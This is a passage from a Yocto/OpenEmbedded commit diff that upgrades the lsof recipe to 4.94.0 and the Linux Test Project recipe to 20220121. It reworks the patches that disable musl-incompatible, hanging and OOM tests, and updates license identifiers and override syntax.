95b8a13c1ea4274f58304bf5c4f7ca3d036b10f3 Mon Sep 17 00:00:00 2001 +From: Li Wang <li.wang@windriver.com> +Date: Wed, 30 Aug 2017 15:05:16 +0800 +Subject: [PATCH] Remove host information from version.h make lsof not include host information Upstream-Status: Inappropriate [embedded specific] Signed-off-by: Li Wang <li.wang@windriver.com> + --- - dialects/linux/Makefile | 50 +++++++++-------------------------------------- + dialects/linux/Makefile | 50 ++++++++--------------------------------- 1 file changed, 9 insertions(+), 41 deletions(-) diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile -index 2bea108..792142b 100644 +index 61e8643..5458a0a 100644 --- a/dialects/linux/Makefile +++ b/dialects/linux/Makefile -@@ -76,48 +76,16 @@ version.h: FRC +@@ -95,48 +95,16 @@ version.h: FRC @echo Constructing version.h @rm -f version.h @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h; - @echo '#define LSOF_CC "${CC}"' >> version.h - @echo '#define LSOF_CCV "${CCV}"' >> version.h -- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h +- @echo '#define LSOF_CCDATE "$(BUILD_DATE)"' >> version.h - @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h + @echo '#define LSOF_CC ""' >> version.h + @echo '#define LSOF_CCV ""' >> version.h @@ -71,6 +75,3 @@ index 2bea108..792142b 100644 @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h FRC: --- -1.7.9.5 - diff --git a/meta/recipes-extended/lsof/lsof_4.91.bb b/meta/recipes-extended/lsof/lsof_4.94.0.bb index b3adfd57af..c2b8bc839b 100644 --- a/meta/recipes-extended/lsof/lsof_4.91.bb +++ b/meta/recipes-extended/lsof/lsof_4.94.0.bb @@ -3,7 +3,7 @@ DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \ Its name stands for LiSt Open Files, and it does just that." HOMEPAGE = "http://people.freebsd.org/~abe/" SECTION = "devel" -LICENSE = "BSD" +LICENSE = "Spencer-94" LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a" # Upstream lsof releases are hosted on an ftp server which times out download @@ -11,30 +11,13 @@ LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429 # https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be # the most commonly used alternative. -SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \ +SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \ file://lsof-remove-host-information.patch \ " -SRC_URI[md5sum] = "148ed410cb52e08c2adc0c60f480f11f" -SRC_URI[sha256sum] = "c9da946a525fbf82ff80090b6d1879c38df090556f3fe0e6d782cb44172450a3" - -LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar" - -S = "${WORKDIR}/lsof_${PV}_src" - -python do_unpack () { - if not bb.data.inherits_class('externalsrc', d) or not d.getVar('EXTERNALSRC'): - # temporarily change S for unpack of lsof_${PV} - s = d.getVar('S', False) - d.setVar('S', '${WORKDIR}/lsof_${PV}') - bb.build.exec_func('base_do_unpack', d) - # temporarily change SRC_URI for unpack of lsof_${PV}_src - src_uri = d.getVar('SRC_URI', False) - d.setVar('SRC_URI', '${LOCALSRC}') - d.setVar('S', s) - bb.build.exec_func('base_do_unpack', d) - d.setVar('SRC_URI', src_uri) -} +SRCREV = "005e014e1abdadb2493d8b3ce87b37a2c0a2351d" + +S = "${WORKDIR}/git" export LSOF_INCLUDE = "${STAGING_INCDIR}" @@ -59,5 +42,5 @@ do_compile () { do_install () { install -d ${D}${sbindir} ${D}${mandir}/man8 install -m 0755 lsof ${D}${sbindir}/lsof - install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8 + install -m 0644 Lsof.8 ${D}${mandir}/man8/lsof.8 } diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch b/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch deleted file mode 100644 index f2fc8ee958..0000000000 --- a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch +++ /dev/null @@ -1,32 +0,0 @@ -From ad8e73306cb8293f7d32841e1599fd9048801f1f Mon Sep 17 00:00:00 2001 -From: Alexander Kanavin <alex.kanavin@gmail.com> -Date: Fri, 20 Dec 2019 13:06:05 +0100 -Subject: [PATCH] Add more musl exclusions - -Upstream-Status: Pending -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> -[ pvorel: rebase for 20200515: enable accept4_01 ] -[ pvorel: rebase for 20200120: enable fanotify13, fanotify15, setxattr03 ] -Signed-off-by: Petr Vorel <petr.vorel@gmail.com> ---- - testcases/kernel/syscalls/timer_create/Makefile | 4 ++++ - 1 file changed, 4 insertions(+) - -diff --git a/testcases/kernel/syscalls/timer_create/Makefile b/testcases/kernel/syscalls/timer_create/Makefile -index ada241fe1..d454b01e7 100644 ---- a/testcases/kernel/syscalls/timer_create/Makefile -+++ b/testcases/kernel/syscalls/timer_create/Makefile -@@ -5,6 +5,10 @@ top_srcdir ?= ../../../.. - - include $(top_srcdir)/include/mk/testcases.mk - -+ifeq ($(LIBC),musl) -+FILTER_OUT_MAKE_TARGETS := timer_create01 timer_create03 -+endif -+ - CPPFLAGS += -D_GNU_SOURCE -I$(abs_srcdir)/../include - - LDLIBS += -lpthread -lrt --- -2.26.2 - diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch new file mode 100644 index 0000000000..6d945700be --- /dev/null +++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch @@ -0,0 +1,35 @@ +From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001 +From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com> +Date: Wed, 29 Jul 2020 08:47:09 -0400 +Subject: [PATCH] Remove OOM tests from runtest/mm + +Disable OOM tests, as they might cause oeqa ssh connection lost + +Upstream-Status: Inappropriate [oe-core specific] +Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com> +[ pvorel: rebased for 20210927 ] +Signed-off-by: Petr Vorel <petr.vorel@gmail.com> +--- + runtest/mm | 6 ------ + 1 file changed, 6 deletions(-) + +diff --git a/runtest/mm b/runtest/mm +index 6537666a9..e5a091a5a 100644 +--- a/runtest/mm ++++ b/runtest/mm +@@ -73,12 +73,6 @@ ksm06_2 ksm06 -n 8000 + + cpuset01 cpuset01 + +-oom01 oom01 +-oom02 oom02 +-oom03 oom03 +-oom04 oom04 +-oom05 oom05 +- + swapping01 swapping01 -i 5 + + thp01 thp01 -I 120 +-- +2.33.0 + diff --git a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch deleted file mode 100644 index 29b2bf7e41..0000000000 --- a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch +++ /dev/null @@ -1,81 +0,0 @@ -From 74958c3e341de713b596c8cfd35b2391d6c7bc09 Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Thu, 7 Jan 2016 18:19:03 +0000 -Subject: [PATCH] build: Add option to select libc implementation - -There are more than glibc for C library implementation available on -linux now a days, uclibc cloaked like glibc but musl e.g. is very -different and does not implement all GNU extensions. - -Disable tests specifically not building _yet_ on musl based systems - -Upstream-Status: Pending (pvorel: this is not going to be fixed, instead -each test needs to be fixed) - -rt_tgsigqueueinfo fails with: -rt_tgsigqueueinfo01.c: In function 'sigusr1_handler': -rt_tgsigqueueinfo01.c:42:22: error: 'siginfo_t' {aka 'struct <anonymous>'} has no member named '_sifields'; did you mean '__si_fields'? - 42 | sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr; - | ^~~~~~~~~ - | __si_fields - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -[ pvorel: rebase for 20200515: enable pty, ioctl ] -[ pvorel: rebase for 20200120: enable mallopt, profil, rpc016, -rt_sigsuspend, sbrk_mutex, setdomainname, sethostname, sigsuspend, -testpi-3, testpi-5, testpi-6, ustat; move rt_tgsigqueueinfo -from 0006-rt_tgsigqueueinfo-disable-test-on-musl.patch ] -Signed-off-by: Petr Vorel <petr.vorel@gmail.com> ---- - Makefile | 5 +++++ - testcases/kernel/sched/Makefile | 4 +++- - testcases/kernel/syscalls/Makefile | 4 ++++ - 3 files changed, 12 insertions(+), 1 deletion(-) - -diff --git a/Makefile b/Makefile -index 768ca4606..e9d679a71 100644 ---- a/Makefile -+++ b/Makefile -@@ -41,6 +41,11 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include - UCLINUX ?= 0 - export UCLINUX - -+# System C library implementation (glibc,uclibc,musl etc.) -+# default to glibc if not set -+LIBC ?= glibc -+export LIBC -+ - # CLEAN_TARGETS: Targets which exist solely in clean. - # COMMON_TARGETS: Targets which exist in all, clean, and install. - # INSTALL_TARGETS: Targets which exist in clean and install (contains -diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile -index 6a57d79ee..74bb93370 100644 ---- a/testcases/kernel/sched/Makefile -+++ b/testcases/kernel/sched/Makefile -@@ -23,5 +23,7 @@ - top_srcdir ?= ../../.. - - include $(top_srcdir)/include/mk/env_pre.mk -- -+ifeq ($(LIBC),musl) -+ FILTER_OUT_DIRS += process_stress -+endif - include $(top_srcdir)/include/mk/generic_trunk_target.mk -diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile -index c6dc8d9e7..aa50761ea 100644 ---- a/testcases/kernel/syscalls/Makefile -+++ b/testcases/kernel/syscalls/Makefile -@@ -15,6 +15,10 @@ FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \ - mincore mprotect nftw profil remap_file_pages sbrk - endif - -+ifeq ($(LIBC),musl) -+FILTER_OUT_DIRS += confstr fmtmsg getcontext rt_tgsigqueueinfo -+endif -+ - ifeq ($(UCLIBC),1) - FILTER_OUT_DIRS += profil - endif --- -2.26.2 - diff --git a/meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch b/meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch new file mode 100644 index 0000000000..e8d9f212a9 --- /dev/null +++ b/meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch @@ -0,0 +1,28 @@ +From 4aad23f208cc7725cd61bbe5aaadb9994c794cd0 Mon Sep 17 00:00:00 2001 +From: Alexander Kanavin <alex@linutronix.de> +Date: Wed, 26 Jan 2022 20:58:46 +0100 +Subject: [PATCH] metadata/parse.sh: sort filelist for reproducibility + +find does not guarantee the order of the files. + +Upstream-Status: Submitted [https://github.com/linux-test-project/ltp/pull/907] +Signed-off-by: Alexander Kanavin <alex@linutronix.de> +--- + metadata/parse.sh | 2 +- + +diff --git a/metadata/parse.sh b/metadata/parse.sh +index b43d024c68..1811665bfe 100755 +--- a/metadata/parse.sh ++++ b/metadata/parse.sh +@@ -29,7 +29,7 @@ echo ' "tests": {' + + first=1 + +-for test in `find testcases/ -name '*.c'`; do ++for test in `find testcases/ -name '*.c'|sort`; do + a=$($top_builddir/metadata/metaparse -Iinclude -Itestcases/kernel/syscalls/utils/ "$test") + if [ -n "$a" ]; then + if [ -z "$first" ]; then +-- +2.20.1 + diff --git a/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch b/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch deleted file mode 100644 index 27b890e22b..0000000000 --- a/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch +++ /dev/null @@ -1,33 +0,0 @@ -From adb9587466a493fdd9d4410f1b8b130ebca06daa Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Tue, 19 May 2020 22:21:23 -0700 -Subject: [PATCH] ptrace01: Fix missing format string - -Fixes -| ptrace01.c:89:2: error: format string is not a string literal -(potentially insecure) [-Werror,-Wformat-security] -| tst_res(TINFO, tc->message); -| ^ ~~~~~~~~~~~ - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Upstream-Status: Backport [58424835952641f4fd60c0ae3ab6c64decca3f8a] ---- - testcases/kernel/syscalls/ptrace/ptrace01.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/testcases/kernel/syscalls/ptrace/ptrace01.c b/testcases/kernel/syscalls/ptrace/ptrace01.c -index 87a99e4150..9071bbabaf 100644 ---- a/testcases/kernel/syscalls/ptrace/ptrace01.c -+++ b/testcases/kernel/syscalls/ptrace/ptrace01.c -@@ -86,7 +86,7 @@ static void run(unsigned int i) - - got_signal = 0; - -- tst_res(TINFO, tc->message); -+ tst_res(TINFO, "%s", tc->message); - - if (tc->handler == 1) { - parent_act.sa_handler = parent_handler; --- -2.26.2 - diff --git a/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch b/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch deleted file mode 100644 index 17d5af89e2..0000000000 --- a/meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch +++ /dev/null @@ -1,69 +0,0 @@ -From e0a63deb1857eb90288e90d6368df70cdd0c0ec9 Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Thu, 28 May 2020 13:04:33 -0700 -Subject: [PATCH] sigwaitinfo: Do not run invalid/undefined test cases - -These testcases run for eternity on musl - -test_bad_address* cases are passing invalid pointers to a function; that's always UB -empty_set and timeout rely on the implementation-defined "may fail" for EINTR in sigtimedwait [1] - -normally "may fail" is an "unspecified" but here the impl -is supposed to document it so it's "impl-defined" - -[1] https://pubs.opengroup.org/onlinepubs/9699919799/functions/sigtimedwait.html - -Upstream-Status: Submitted [https://patchwork.ozlabs.org/project/ltp/patch/20200528204556.2444156-1-raj.khem@gmail.com/] -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Cc: Rich Felker <dalias@aerifal.cx> ---- - .../kernel/syscalls/sigwaitinfo/sigwaitinfo01.c | 12 ++---------- - 1 file changed, 2 insertions(+), 10 deletions(-) - ---- a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c -+++ b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c -@@ -422,15 +422,10 @@ struct test_desc { - } tests[] = { - #ifdef TEST_RT_SIGTIMEDWAIT - { -- test_empty_set, my_rt_sigtimedwait, SIGUSR1}, { - test_unmasked_matching, my_rt_sigtimedwait, SIGUSR1}, { - test_masked_matching, my_rt_sigtimedwait, SIGUSR1}, { - test_unmasked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, { -- test_masked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, { -- test_bad_address, my_rt_sigtimedwait, SIGUSR1}, { -- test_bad_address2, my_rt_sigtimedwait, SIGUSR1}, { -- test_bad_address3, my_rt_sigtimedwait, SIGUSR1}, { -- test_timeout, my_rt_sigtimedwait, 0}, -+ test_masked_matching_noinfo, my_rt_sigtimedwait, SIGUSR1}, - /* Special cases */ - /* 1: sigwaitinfo does respond to ignored signal */ - { -@@ -452,25 +447,17 @@ struct test_desc { - #endif - #if defined TEST_SIGWAITINFO - { -- test_empty_set, my_sigwaitinfo, SIGUSR1}, { - test_unmasked_matching, my_sigwaitinfo, SIGUSR1}, { - test_masked_matching, my_sigwaitinfo, SIGUSR1}, { - test_unmasked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, { -- test_masked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, { -- test_bad_address, my_sigwaitinfo, SIGUSR1}, { -- test_bad_address2, my_sigwaitinfo, SIGUSR1}, -+ test_masked_matching_noinfo, my_sigwaitinfo, SIGUSR1}, - #endif - #if defined TEST_SIGTIMEDWAIT - { -- test_empty_set, my_sigtimedwait, SIGUSR1}, { - test_unmasked_matching, my_sigtimedwait, SIGUSR1}, { - test_masked_matching, my_sigtimedwait, SIGUSR1}, { - test_unmasked_matching_noinfo, my_sigtimedwait, SIGUSR1}, { -- test_masked_matching_noinfo, my_sigtimedwait, SIGUSR1}, { -- test_bad_address, my_sigtimedwait, SIGUSR1}, { -- test_bad_address2, my_sigtimedwait, SIGUSR1}, { -- test_bad_address3, my_sigtimedwait, SIGUSR1}, { -- test_timeout, my_sigtimedwait, 0}, -+ test_masked_matching_noinfo, my_sigtimedwait, SIGUSR1}, - #endif - }; - diff --git a/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch b/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch deleted file mode 100644 index 09b6f54874..0000000000 --- a/meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch +++ /dev/null @@ -1,57 +0,0 @@ -From 99687ab002f9f750f6f18fa1d70a91f0aa4f8ba2 Mon Sep 17 00:00:00 2001 -From: He Zhe <zhe.he@windriver.com> -Date: Thu, 18 Jun 2020 17:18:27 +0800 -Subject: [PATCH] syscalls/copy_file_range02: Expect EFBIG in subcase max - length on 32-bit architectures - -For syscall -ssize_t copy_file_range(int fd_in, loff_t *off_in, - int fd_out, loff_t *off_out, - size_t len, unsigned int flags); -off_out is loff_t* that is long long, 64 bits on 32-bit architectures, -while len is size_t that unsigned int, 32 bits on 32-bit architectures. - -In subcase "max length", simplified as below, - -dst = tst_max_lfs_filesize(); -TEST(sys_copy_file_range(fd_src, 0, *tc->copy_to_fd, &dst, tc->len, tc->flags)); - -where dst is 4K*4G and len is 4G, so (4K+1)*4G is always smaller than 4G*4G, -it can never match the following kernel condition on 32-bit architectures. - -if (pos_in + count < pos_in || pos_out + count < pos_out) - return -EOVERFLOW; - -And thus we would get error like -copy_file_range02.c:139: FAIL: copy_file_range failed unexpectedly; expected EOVERFLOW, but got: EFBIG (27) - -Also correct a typo. - -Upstream-Status: Backport [http://lists.linux.it/pipermail/ltp/2020-June/017716.html] - -Signed-off-by: He Zhe <zhe.he@windriver.com> -Acked-by: Li Wang <liwang@redhat.com> ---- - .../kernel/syscalls/copy_file_range/copy_file_range02.c | 6 +++++- - 1 file changed, 5 insertions(+), 1 deletion(-) - -diff --git a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c -index fa679c4d3..bc27fbe57 100644 ---- a/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c -+++ b/testcases/kernel/syscalls/copy_file_range/copy_file_range02.c -@@ -78,7 +78,11 @@ static struct tcase { - {&fd_chrdev, 0, EINVAL, CONTSIZE, "char device", 0}, - {&fd_fifo, 0, EINVAL, CONTSIZE, "fifo", 0}, - {&fd_pipe[0], 0, EINVAL, CONTSIZE, "pipe", 0}, -- {&fd_copy, 0, EOVERFLOW, ULLONG_MAX, "max length lenght", 1}, -+#ifdef TST_ABI64 -+ {&fd_copy, 0, EOVERFLOW, ULLONG_MAX, "max length", 1}, -+#else -+ {&fd_copy, 0, EFBIG, ULLONG_MAX, "max length", 1}, -+#endif - {&fd_copy, 0, EFBIG, MIN_OFF, "max file size", 1}, - }; - --- -2.17.1 - diff --git a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch b/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch deleted file mode 100644 index e93886c9cd..0000000000 --- a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch +++ /dev/null @@ -1,34 +0,0 @@ -From d0fc9ca5d3366f9b8907e463222403cd2327be10 Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Fri, 8 Jan 2016 06:51:20 +0000 -Subject: [PATCH] guard mallocopt() with __GLIBC__ - -mallocopt is not available on non glibc implementations - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Reviewed-by: Petr Vorel <petr.vorel@gmail.com> -[ Upstream-Status: accepted in 967612c454aea66770b64f69287671037fe895b3 ] ---- - utils/benchmark/ebizzy-0.3/ebizzy.c | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - -diff --git a/utils/benchmark/ebizzy-0.3/ebizzy.c b/utils/benchmark/ebizzy-0.3/ebizzy.c -index 5bb8eff..934d951 100644 ---- a/utils/benchmark/ebizzy-0.3/ebizzy.c -+++ b/utils/benchmark/ebizzy-0.3/ebizzy.c -@@ -215,10 +215,10 @@ static void read_options(int argc, char *argv[]) - "\"never mmap\" option specified\n"); - usage(); - } -- -+#ifdef __GLIBC__ - if (never_mmap) - mallopt(M_MMAP_MAX, 0); -- -+#endif - if (chunk_size < record_size) { - fprintf(stderr, "Chunk size %u smaller than record size %u\n", - chunk_size, record_size); --- -2.7.4 - diff --git a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch b/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch deleted file mode 100644 index 0e7264574f..0000000000 --- a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch +++ /dev/null @@ -1,32 +0,0 @@ -From f4fafbdffae3a63c81f65cef98c72dda26283e06 Mon Sep 17 00:00:00 2001 -From: Dengke Du <dengke.du@windriver.com> -Date: Wed, 8 Feb 2017 16:17:17 +0800 -Subject: [PATCH] Fix test_proc_kill hanging - -Sometimes the signal is delivered to memcg_process before the framework took -into consideration its pid entered in the tasks. Fixed by delaying the signal -send command. - -Upstream-Status: Pending - -Signed-off-by: George Nita <george.nita@enea.com> -Signed-off-by: Dengke Du <dengke.du@windriver.com> ---- - testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 + - 1 file changed, 1 insertion(+) - -diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh -index aadaae4..deea5d6 100755 ---- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh -+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh -@@ -291,6 +291,7 @@ test_proc_kill() - pid=$! - TST_CHECKPOINT_WAIT 0 - echo $pid > tasks -+ sleep 1 - - signal_memcg_process $pid $3 - --- -2.7.4 - diff --git a/meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch b/meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch new file mode 100644 index 0000000000..f25a692dc0 --- /dev/null +++ b/meta/recipes-extended/ltp/ltp/disable_hanging_tests.patch @@ -0,0 +1,27 @@ +This patch disables tests which we've found "hang" on our infrastructure. + +proc01: +https://autobuilder.yoctoproject.org/typhoon/#/builders/96/builds/1748 (arm) +https://autobuilder.yoctoproject.org/typhoon/#/builders/96/builds/1781 (arm) +https://autobuilder.yoctoproject.org/typhoon/#/builders/96/builds/2782 (arm) +(was trying to read /proc/kmsg, looks like a horrible test anyway) + +Upstream-Status: Inappropriate [OE Configuration] +Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> + +Index: git/runtest/fs +=================================================================== +--- git.orig/runtest/fs ++++ git/runtest/fs +@@ -64,11 +64,6 @@ writetest01 writetest + #Also run the fs_di (Data Integrity tests) + fs_di fs_di -d $TMPDIR + +-# Read every file in /proc. Not likely to crash, but does enough +-# to disturb the kernel. A good kernel latency killer too. +-# Was not sure why it should reside in runtest/crashme and won't get tested ever +-proc01 proc01 -m 128 +- + read_all_dev read_all -d /dev -p -q -r 3 + read_all_proc read_all -d /proc -q -r 3 + read_all_sys read_all -d /sys -q -r 3 diff --git a/meta/recipes-extended/ltp/ltp_20200515.bb b/meta/recipes-extended/ltp/ltp_20220121.bb index b283add12f..8a13dcf9d0 100644 --- a/meta/recipes-extended/ltp/ltp_20200515.bb +++ b/meta/recipes-extended/ltp/ltp_20220121.bb @@ -2,41 +2,32 @@ SUMMARY = "Linux Test Project" DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features." HOMEPAGE = "https://linux-test-project.github.io/" SECTION = "console/utils" -LICENSE = "GPLv2 & GPLv2+ & LGPLv2+ & LGPLv2.1+ & BSD-2-Clause" +LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause" LIC_FILES_CHKSUM = "\ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ - file://testcases/kernel/controllers/freezer/COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \ - file://testcases/kernel/controllers/freezer/run_freezer.sh;beginline=5;endline=17;md5=86a61d2c042d59836ffb353a21456498 \ - file://testcases/kernel/hotplug/memory_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \ - file://testcases/kernel/hotplug/cpu_hotplug/COPYING;md5=e04a2e542b2b8629bf9cd2ba29b0fe41 \ file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \ - file://testcases/realtime/COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \ - file://utils/benchmark/kernbench-0.42/COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \ + file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \ " DEPENDS = "attr libaio libcap acl openssl zip-native" -DEPENDS_append_libc-musl = " fts " -EXTRA_OEMAKE_append_libc-musl = " LIBC=musl " -EXTRA_OECONF_append_libc-musl = " LIBS=-lfts " +DEPENDS:append:libc-musl = " fts " +EXTRA_OEMAKE:append:libc-musl = " LIBC=musl " +EXTRA_OECONF:append:libc-musl = " LIBS=-lfts " # since ltp contains x86-64 assembler which uses the frame-pointer register, # set -fomit-frame-pointer x86-64 to handle cases where optimisation # is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer # earlier in CFLAGS, etc. -CFLAGS_append_x86-64 = " -fomit-frame-pointer" - -CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__" -CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__" -SRCREV = "0d79a93e6ca44d9bc95973faea6bcd7b0c6d1f43" - -SRC_URI = "git://github.com/linux-test-project/ltp.git \ - file://0001-build-Add-option-to-select-libc-implementation.patch \ - file://0004-guard-mallocopt-with-__GLIBC__.patch \ - file://0007-Fix-test_proc_kill-hanging.patch \ - file://0001-Add-more-musl-exclusions.patch \ - file://0001-ptrace01-Fix-missing-format-string.patch \ - file://0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch \ - file://0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch \ +CFLAGS:append:x86-64 = " -fomit-frame-pointer" + +CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__" +CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__" +SRCREV = "b0561ad8d9ee9fe1244b5385e941eb65a21e91a1" + +SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \ + file://0001-Remove-OOM-tests-from-runtest-mm.patch \ + file://0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch \ + file://disable_hanging_tests.patch \ " S = "${WORKDIR}/git" @@ -50,13 +41,17 @@ export exec_prefix = "/opt/${PN}" PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl," EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4" -EXTRA_OECONF = " --with-power-management-testsuite --with-realtime-testsuite --with-open-posix-testsuite " +EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite " # ltp network/rpc test cases ftbfs when libtirpc is found EXTRA_OECONF += " --without-tirpc " +do_compile() { + oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}" +} + do_install(){ install -d ${D}${prefix}/ - oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install + oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run # as it lacks dependency on some perl moudle such as LWP::Simple @@ -73,14 +68,15 @@ do_install(){ find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \ -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \ -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \ - -e 's@[^ ]*--sysroot=[^ "]*@@g' + -e 's@[^ ]*-ffile-prefix-map=[^ "]*@@g' \ + -e 's@[^ ]*--sysroot=[^ "]*@@g' # The controllers memcg_stree test seems to cause us hangs and takes 900s # (maybe we expect more regular output?), anyhow, skip it sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers } -RDEPENDS_${PN} = "\ +RDEPENDS:${PN} = "\ attr \ bash \ bc \ @@ -110,14 +106,33 @@ RDEPENDS_${PN} = "\ tar \ " -FILES_${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* 